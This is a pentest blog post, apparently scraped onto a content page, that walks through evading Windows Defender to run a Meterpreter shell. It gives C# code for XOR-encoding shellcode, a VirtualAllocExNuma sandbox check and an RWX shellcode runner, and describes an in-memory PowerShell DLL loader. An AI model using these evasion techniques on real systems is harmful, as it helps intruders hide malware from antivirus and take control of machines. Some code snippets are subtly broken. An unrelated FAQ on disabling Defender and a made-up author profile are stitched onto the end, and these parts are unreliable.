Bypassing Defender on modern Windows 10 systems (2024)

30 March 2021

by purpl3f0x

PEN-300 taught me a lot about modern antivirus evasion techniques. It was probably one of the more fun parts of the course, because we did a lot of cool things in C# and learned to bypass modern-day AV. While the information provided was solid, I found that some of the things taught did not bypass Windows Defender. In this write-up, I will show you how I combined several techniques that I learned, along with some of MSFvenom’s own features, to finally get a working Meterpreter shell on a Windows 10 VM in my home lab.

Just to make sure we have to actually bypass Defender, let’s just play around for a bit and see how quickly it will catch us trying to run Meterpreter.
The first thing I want to do is refresh my memory, and check my Kali VM’s IP address:

Bypassing Defender on modern Windows 10 systems (1)
Figure 1 - Attacker IP

Next, let’s make the default, non-encoded Meterpreter payload. Since we’re making a stand-alone executable, we will not have to worry ourselves over “Bad characters” like we do with exploit development. While we’re at it, let’s put it in the default apache web server directory:

Bypassing Defender on modern Windows 10 systems (2)
Figure 2 - Creating the first payload

Before we do anything, we need to make a change on the victim machine. We don’t want Microsoft collecting samples of what we’re doing, because it could mean that in the future, our techniques will become null and void after Microsoft updates Defender’s detection abilities:

Bypassing Defender on modern Windows 10 systems (3)
Figure 3 - Configuring the victim

With that set up, there are two ways we can get the binary on the victim. If we assume that there is RDP access, we can of course just browse to it:

Bypassing Defender on modern Windows 10 systems (4)
Figure 4 - Using web browser to get payload

This isn’t ideal, because Edge is using Windows Defender to scan things as it downloads them, and it gets caught immediately:

Bypassing Defender on modern Windows 10 systems (5)
Figure 5 - Edge detecting malware

However, we can click the ellipsis and chose to keep this download anyway:

Bypassing Defender on modern Windows 10 systems (6)
Figure 6 - Keeping the binary
Bypassing Defender on modern Windows 10 systems (7)
Figure 7 - Keeping the binary pt.2

After this, we’ll go ahead and configure the MSFconsole listener to catch anything that may come through:

Bypassing Defender on modern Windows 10 systems (8)
Figure 8 - Preparing to catch Meterpreter

Predictably, as soon as we double-click the executable, Windows flags and deletes it:

Bypassing Defender on modern Windows 10 systems (9)
Figure 9 - Meterpreter caught by Defender
Bypassing Defender on modern Windows 10 systems (10)
Figure 10 - The alert inside of Security Center
Bypassing Defender on modern Windows 10 systems (11)
Figure 11 - Empty downloads folder after Defender cleans infection

The second way we can download the binary is through PowerShell. This is probably more realistic since we won’t always find something with RDP enabled, and may have a low-priv shell through other means:

Bypassing Defender on modern Windows 10 systems (12)
Figure 12 - Downloading payload with PowerShell

Curiously enough, when we attempt to run Meterpreter with PowerShell, it initially fires, but almost immediately dies as Defender catches it and shuts it down:

Bypassing Defender on modern Windows 10 systems (13)
Figure 13 - Meterpreter calls back but then dies

We can also see how Defender has deleted our payload once again:

Bypassing Defender on modern Windows 10 systems (14)
Figure 14 - Now you see it, now you don't!

Now that we have proven that Defender is on and is catching our Metepreter payloads, we’ll begin work on bypassing it.
For starters, let’s generate shellcode in the C# format, and while we’re at it, let’s go ahead and use MSFvenom’s built-in encoders. This encoding alone won’t be enough, but it is a good first step:

Bypassing Defender on modern Windows 10 systems (15)
Figure 15 - Generating a C# payload

In the payload output, pay attention to the size of the buf variable. This will be important later, so take a moment to make note of this:

Bypassing Defender on modern Windows 10 systems (16)
Figure 16 - Byte array size

Adding more encoding

Remember above when I stated that MSFvenom’s encoding won’t be enough by itself? The biggest reason for this is due to the shellcode containing a decoder stub inside of itself. It has a small decoding loop it goes through when it executes, and most AV engines today can detect encoded Meterpreter payloads based on that decoder stub. So, to get around this, we’ll add an extra layer of encoding ourselves to encode the stub!
We open up Visual Studio Community, and make a C# console project called XOR_encoder, and begin to build our custom XOR encoder. We start by just pasting the shellcode from MSFvenom into a new byte array variable. Make sure the size matches what MSFvenom gave you!

Bypassing Defender on modern Windows 10 systems (17)
Figure 17 - Adding shellcode to the encoder

Next, we need to add the code that is the meat of the executable. I’ll break down each line individually and explain what’s happening.
We declare a new byte array called encoded and assigning it the length of our buffer:

byte[] encoded = new byte[buf.Length];

This is a loop that will iterate over every byte and XOR it with the ^ operator, and use 0xAA as the “key”. Afterwards, the bytes are subjected to a bitwise AND with a value of 0xFF to prevent them from becoming larger than 8 bits:

for (int i = 0; i < buf.Length; i++){ encoded[i] = (byte)(((uint)buf[i] ^ 0xAA) & 0xFF);}

This is formatting the bytes to be printed out 2 digits at a time, prepended with 0x, and appended with a comma:

StringBuilder hex = new StringBuilder(encoded.Length * 2);foreach (byte b in encoded){ hex.AppendFormat("0x{0:x2}, ", b);}

Then we print it with:

Console.WriteLine("The payload is: " + hex.ToString());

All of the code together will look like this:

Bypassing Defender on modern Windows 10 systems (18)
Figure 18 - Custom XOR encoder

With the code written, we compile the binary, and then go execute it:

Bypassing Defender on modern Windows 10 systems (19)
Figure 19 - Building the executable
Bypassing Defender on modern Windows 10 systems (20)
Figure 20 - The output of the encoder

Getting the shellcode to run in a C# wrapper

We now have double XOR-encoded shellcode, but we have to get it to run somehow. C# can do this as well.
We’ll make a new project and call it shellcode_runner or whatever you want, as long as you know what it does.
We’ll need to interact with the Windows API to make this work. C# can do this in a very round-about way, but it’s made simpler thanks to a Wiki called pinvoke:

Bypassing Defender on modern Windows 10 systems (21)
Figure 22 - Pinvoke.net

Pinvoke has templates for invoking Windows API calls in C#, allowing you to simply copy-paste the code into your own project.
For this shellcode runner, we’ll need VirtualAlloc(), VirtualAllocExNuma() (you’ll see why later), GetCurrentProcess(), CreateThread(), and WaitForSingleObject():

Bypassing Defender on modern Windows 10 systems (22)
Figure 21 - Preparing API calls in C#

Next is the meat of the executable, the part that will actually run the shellcode while bypassing AV.
Our XOR-encoded payload should bypass some signature detection, but we also need to bypass heuristics as well. AV engines will typically “execute” programs in a sandboxed environment to analyze their behavior for anything suspicious. We’ll have to fool the heuristic engine in Defender to make it think our program is legitimate.
The first thing we need to do in the code is set up the heuristics bypass. Since heuristics engines typically “emulate” execution instead of actually running the binary, we might be able to bypass detection by trying to invoke an uncommon API call that the AV engine isn’t emulating. This would cause that API call to fail, and we can tell our program to halt execution if it detects this failure.
In this way, we can make the heuristics engine flag our program as “clean” by just exiting the program before anything malicious happens.
We’ll invoke the VirtualAllocExNuma() API call to do this. This is an alternative version of VirtualAllocEx() that is meant to be used by systems with more than one physical CPU:

IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);if (mem == null){ return;}

What we’re doing here is trying to allocate memory with VirtualAllocExNuma(), and if it fails (if (mem ==null)), we just exit immediately.
Otherwise, execution will continue. We’ll use a similar loop to before to decode the shellcode. Make sure the XOR key is the same as before:

for(int i = 0; i < buf.Length; i++){ buf[i] = (byte)(((uint)buf[i] ^ 0xAA) & 0xFF);}

Then, we’ll allocate memory. If we look at the MSDN for VirtualAlloc, we can see that the arguments, in order, are the memory address to start at, the buffer size, the allocation type, and the memory protection settings:

Bypassing Defender on modern Windows 10 systems (23)
Figure 22 - MSDN for VirtualAlloc

We’ll set the address argument to 0 (to let the OS chose the start address), 0x1000 bytes in size, 0x3000 to set the Allocation type to MEM_COMMIT + MEM_RESERVE, and set the memory permissions to PAGE_EXECUTE_READWRITE with 0x40:

IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);

Next, let’s copy the shellcode into this newly allocated memory:

Marshal.Copy(buf, 0, addr, size);

Now it’s time to run the shellcode. We’ll spawn a new worker thread, point it to the start of the shellcode, and let it run.
Looking at the MSDN for CreateThread, we learn that the required arguments are the thread attributes, the stack size, the start address, additional parameters, creation flags, and thread ID.

Bypassing Defender on modern Windows 10 systems (24)
Figure 23 - MSDN for CreateThread

For most of these arguments we’ll supply 0s to let the API chose it’s default actions, except for the start address, which will be the result that VirtualAlloc() returned to us earlier:

IntPtr hThread = CreateThread(IntPrt.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);

Lastly, we make a call to WaitForSingleObject() to keep the thread alive; otherwise it will die. To make this call wait indefinitely, we give it a value of all hexidecimal Fs:

WaitForSingleObject(hThread, 0xFFFFFFFF);

The complete code:

Bypassing Defender on modern Windows 10 systems (25)
Figure 24 - The shellcode runner completed

With all this work done, we’ll compile this binary. I keep my projects on a Samba share on Kali, and just run Visual Studio on my Windows host, so I’ll switch back to Kali, and copy the compiled binary to my Apache web server:

Bypassing Defender on modern Windows 10 systems (26)
Figure 25 - Copying the binary to Apache

Back over on the victim, we’ll download the binary again:

Bypassing Defender on modern Windows 10 systems (27)
Figure 26 - Downloading the new payload

Now, let’s cross our fingers and run the binary again and see what happens!

Bypassing Defender on modern Windows 10 systems (28)
Figure 27 - New payload still gets caught
Bypassing Defender on modern Windows 10 systems (29)
Figure 28 - Disappointment

So after all that, it still gets caught? That’s disappointing, but it’s not the end. We can improve this further, but it will require a slight restructuring in C#, and some PowerShell magic to work.

One thing we can try is loading Meterpreter directly into memory instead of putting it on the disk. This will sometimes avoid AV detection. By itself, it’s not a sure bypass, but chained with what we’ve done so far, it might be effective.
Let’s start by making a new C# project, but this time, we need to make a DLL, not an application.
Like before, we start by setting up some C# API calls:

Bypassing Defender on modern Windows 10 systems (30)
Figure 29 - Preparing API calls in C#

The rest of the executable will look virtually the same as the shellcode runner from before:

Bypassing Defender on modern Windows 10 systems (31)
Figure 30 - The main function

Make note of whatever you name your function. We’ll need it later.
For now we compile this DLL, and then put it on Kali’s apache server again:

Bypassing Defender on modern Windows 10 systems (32)
Figure 31 - Copying the DLL to Apache

Okay, so now we have a DLL. But what good is that to us? You can’t just execute DLLs like exes, Windows won’t let you, even though technically DLLs are still executable PE files. We need a way to run it, and more importantly, run it from memory instead of disk.
We can do this with a short PowerShell script:

Bypassing Defender on modern Windows 10 systems (33)
Figure 32 - PowerShell Download Cradle

This PowerShell script will download the DLL, load it directly into memory, and invoke whatever function we name. As shown above, we’re invoking the runner function.

Now, instead of just downloading and running this script, we can continue with our new strategy of downloading this script directly into memory. Interestingly, AMSI doesn’t seem to impede me here:

Bypassing Defender on modern Windows 10 systems (34)
Figure 33 - PowerShell one-liner to download .ps1 scripts into memory

After pressing enter on the above command, the PowerShell terminal appears to hang. Let’s go look at Kali:

Bypassing Defender on modern Windows 10 systems (35)
Figure 34 - Meterpreter executes and functions as intended
Bypassing Defender on modern Windows 10 systems (36)
Figure 35 - Do the Root Dance!

Just for giggles, let’s test dropping into a system shell and see if we can run OS commands:

Bypassing Defender on modern Windows 10 systems (37)
Figure 36 - Spawning an OS shell and making a new file on the desktop
Bypassing Defender on modern Windows 10 systems (38)
Figure 37 - Looking at the new file

Wrapping up

There we have it. Meterpreter running on Windows 10, with fully updated Defender definitions. By combining a few layers of encoding, and some PowerShell to run our code directly out of memory, we’ve bypassed AV and now have free reign over the system.

tags: Pentesting - Antivirus Evasion
Bypassing Defender on modern Windows 10 systems (2024)

FAQs

Can Windows Defender be bypassed? ›

Security researchers discovered that the list of locations excluded from Microsoft Defender scanning is unprotected and any local user can access it. Regardless of their permissions, local users can query the registry and learn the paths that Microsoft Defender is not allowed to check for malware or dangerous files.

How to permanently disable Microsoft Defender Antivirus on Windows 10? ›

How to Disable Microsoft Defender (Permanently)
  1. Click Start.
  2. Type “Windows Security” and click the option under “Best match”.
  3. In the new window that opens, click Virus & threat protection.
  4. Under the Virus & threat protection heading, click Manage settings.
  5. Set the Tamper Protection toggle to the Off position.
Dec 14, 2022

How do I permanently disable Windows Defender in Windows 10 20h2? ›

To disable Microsoft Defender Antivirus permanently on Windows 10, use these steps:
  1. Open Start.
  2. Search for gpedit. ...
  3. Browse the following path: Computer Configuration > Administrative Templates > Windows Components > Microsoft Defender Antivirus.
  4. Double-click the "Turn off Microsoft Defender Antivirus" policy.
Sep 12, 2022

How do I allow a program to run past Windows Defender? ›

Go to Start > Settings > Update & Security > Windows Security > Virus & threat protection. Under Virus & threat protection settings, select Manage settings, and then under Exclusions, select Add or remove exclusions. Select Add an exclusion, and then select from files, folders, file types, or process.

How do I bypass Windows Defender firewall? ›

Click Control Panel from the search results.
  1. Select System and Security.
  2. Click Windows Defender Firewall.
  3. Click the Turn Windows Defender Firewall on or off option.
  4. Click the Turn off Windows Defender Firewall (not recommended) radio buttons under the Private network settings and Public network settings. Click OK.

What are Windows Defender evasion techniques? ›

Techniques used for defense evasion include uninstalling/disabling security software or obfuscating/encrypting data and scripts. Adversaries also leverage and abuse trusted processes to hide and masquerade their malware.

Why can't I turn off Windows Defender? ›

To turn off Windows Defender: Navigate to Control Panel and then double click on "Windows Defender" to open it. Select "Tools" and then "Options". Scroll to the bottom of the page of options and uncheck the "Use Windows Defender" check box in the "Administrator options" section.

Why can't I stop Microsoft Defender Antivirus? ›

Go to Virus & threat protection. Click on Manage Settings. Turn off Tamper Protection. Proceed to enable the group policy Turn off Windows Defender Antivirus in Computer Configuration/Administrative Templates/Windows Components/Windows Defender Antivirus or add the registry key.

What happens if I remove Windows Defender? ›

You cannot uninstall it as it it part of the Windows 10 operating system. If you disable it as you have found out it will just turn itself back on. Was this reply helpful? You can disable it, in fact, third party Antivirus utilities disable it automatically since having two Antivirus utilities can conflict.

Is Windows Defender the only antivirus you need? ›

Although Windows 10 has built-in antivirus protection in the form of Windows Defender, it still needs additional software, either Defender for Endpoint or a third-party antivirus. That is because Windows Defender lacks endpoint protection as well as full-service investigation and remediation of threats.

Can Windows Defender detect anything? ›

Like other anti-malware applications, Windows Defender automatically runs in the background, scanning files when they are accessed and before user open them. When a malware is detected, Windows Defender inform you. It won't ask you what you want to do with the malicious software it finds.

Top Articles
Latest Posts
Article information

Author: Prof. An Powlowski

Last Updated:

Views: 5872

Rating: 4.3 / 5 (64 voted)

Reviews: 87% of readers found this page helpful

Author information

Name: Prof. An Powlowski

Birthday: 1992-09-29

Address: Apt. 994 8891 Orval Hill, Brittnyburgh, AZ 41023-0398

Phone: +26417467956738

Job: District Marketing Strategist

Hobby: Embroidery, Bodybuilding, Motor sports, Amateur radio, Wood carving, Whittling, Air sports

Introduction: My name is Prof. An Powlowski, I am a charming, helpful, attractive, good, graceful, thoughtful, vast person who loves writing and wants to share my knowledge and understanding with you.